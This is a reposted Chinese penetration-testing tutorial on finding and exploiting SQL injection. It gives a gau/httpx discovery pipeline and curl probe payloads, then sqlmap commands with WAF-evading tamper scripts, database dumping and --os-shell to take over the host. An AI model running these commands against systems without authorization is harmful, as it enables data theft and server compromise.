SQL注入检测与利用进阶指南

admin 2026-01-15 14:48:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详述SQL注入的进阶检测与利用。通过gau、httpx等工具链自动化发现潜在漏洞并筛选报错,结合SQLMap高级参数进行深度挖掘,涵盖WAF绕过、数据提取及OSShell获取等实战技巧,为安全测试提供了高效的技术方案。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞分析


cover_image

SQL 注入检测与利用进阶指南

原创

01iver Sec

01iver的安全小圈

2026年1月15日 07:00 北京

#

在本指南中,我们将深入探讨一种更高级的 SQL 注入漏洞检测方法,并借助 SQLMap 工具高效利用此类漏洞。该方法能更精准地定位存在漏洞的端点,实现针对性的漏洞利用,适用于多种数据库系统。


步骤 1:自动化发现 SQL 注入点

为简化 SQL 注入点的识别流程,我们将组合使用多款工具并执行以下命令:

命令echo&nbsp;"http://<目标地址>/"&nbsp;| gau | uro | grep&nbsp;"\?"&nbsp;| sed&nbsp;"s/=.*/=A'/"&nbsp;|&nbsp;uniq&nbsp;> params.txt;cat&nbsp;params.txt | httpx -mc 200 -mr&nbsp;".*SQL.*|.*syntax.*|.*error.*"&nbsp;-silent

#

命令解析

  1. gau(https://github.com/lc/gau)

    :获取目标站点的完整端点列表。

  2. uro(https://github.com/s0md3v/uro)

    :移除重复的 URL,降低冗余度。

  3. grep “?”

    :仅筛选包含参数的端点(URL 中带?通常表示存在请求参数)。

  4. sed

    :将参数值替换为典型的 SQL 注入测试载荷 =A’,用于触发数据库语法错误。

  5. uniq

    :确保最终记录的端点不存在重复项。

  6. httpx

    :对每个端点进行探测,仅输出状态码为 200 的请求结果(-mc 200 指定匹配状态码)。

  7. -mr(https://github.com/projectdiscovery/httpx)

    :匹配响应内容中包含 SQL 错误特征的字符串(如 SQL、syntax、error)。

  8. -silent

    :启用静默模式,减少无关输出,让结果更简洁。

实用技巧

可扩展正则匹配规则,加入更多数据库错误特征关键词,提升检测准确率:


-mr “.SQL.|.syntax.|.error.|.database.|.ODBC.|.mysqli.|.MySQL.|.pgSQL.



步骤 2:结果分析

执行上述命令后,你会得到一份潜在漏洞端点列表。为进一步验证漏洞真实性,可使用以下简单载荷进行手动检测:

手动测试载荷curl -s&nbsp;"http://<目标地址>/vuln?param=1'"&nbsp;|&nbsp;grep&nbsp;-i&nbsp;"SQL syntax"curl -s&nbsp;"http://<目标地址>/vuln?param=-1 UNION SELECT 1,2,3"&nbsp;|&nbsp;grep&nbsp;-i&nbsp;"SQL syntax"

#

若响应内容中包含 SQL 语法错误 或相关提示信息,则说明该端点大概率存在 SQL 注入漏洞,可进入下一步漏洞利用环节。


步骤 3:利用 SQLMap 开展高级漏洞利用

确认潜在漏洞后,即可使用 SQLMap 进行漏洞利用。可通过指定数据库类型、提高检测级别和风险等级,实现深度漏洞分析。

命令sqlmap&nbsp;-u "http://<目标地址>/vuln?param=A"&nbsp;-p param&nbsp;--dbms=MSSQL --level 5 --risk 3 --banner --batch --random-agent --tamper=space2comment

#

参数解析

| | | | — | — | | 参数 | 功能说明 | | -p param | 指定待测试的漏洞参数 | | –dbms=MSSQL | 指定目标数据库类型(支持 MSSQL、MySQL、PostgreSQL 等) | | –level 5 –risk 3 | 将检测级别和风险等级设为最高,实现最全面的漏洞探测(级别越高,测试用例越多;风险越高,越可能对目标造成影响) | | –banner | 获取数据库的版本信息等标识内容 | | –batch | 启用批处理模式,跳过交互式确认步骤,自动执行操作 | | –random-agent | 使用随机生成的用户代理(User-Agent),规避目标站点的基础检测机制 | | –tamper=space2comment | 启用 space2comment 脚本对载荷进行混淆,将空格替换为注释格式,绕过 Web 应用防火墙(WAF)或输入过滤规则 |


步骤 4:从数据库中提取数据

确认漏洞存在后,即可执行数据提取操作。通过以下命令可枚举数据库、导出数据表及数据内容:

1.&nbsp;枚举所有数据库sqlmap&nbsp;-u "http://<目标地址>/vuln?param=A"&nbsp;-p param&nbsp;--dbs2.&nbsp;导出指定数据库中的所有数据表sqlmap&nbsp;-u "http://<目标地址>/vuln?param=A"&nbsp;-p param&nbsp;-D 数据库名称&nbsp;--tables3.&nbsp;导出指定数据表中的所有数据sqlmap&nbsp;-u "http://<目标地址>/vuln?param=A"&nbsp;-p param&nbsp;-D 数据库名称&nbsp;-T 数据表名称&nbsp;--dump

#


高级技巧

1. WAF 绕过

组合使用多款 tamper 脚本对注入载荷进行多层混淆,提升绕过成功率:


–tamper=space2comment,between,percentage


  • space2comment:空格替换为注释

  • between:利用 BETWEEN 函数替代比较运算符

  • percentage:添加百分号 % 混淆载荷特征

2. 流量监控代理

集成 Burp Suite 工具对注入过程中的流量进行实时监控与分析:


–proxy=http://127.0.0.1:8080


(需提前将 Burp Suite 的代理端口配置为 8080)

3. 获取操作系统 Shell

若目标数据库支持命令执行功能,可直接获取目标主机的操作系统 Shell:


sqlmap -u “http://<目标地址>/vuln?param=A” -p param –os-shell




免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:01iver的安全小圈 01iver Sec《SQL 注入检测与利用进阶指南》

评论:0   参与:  0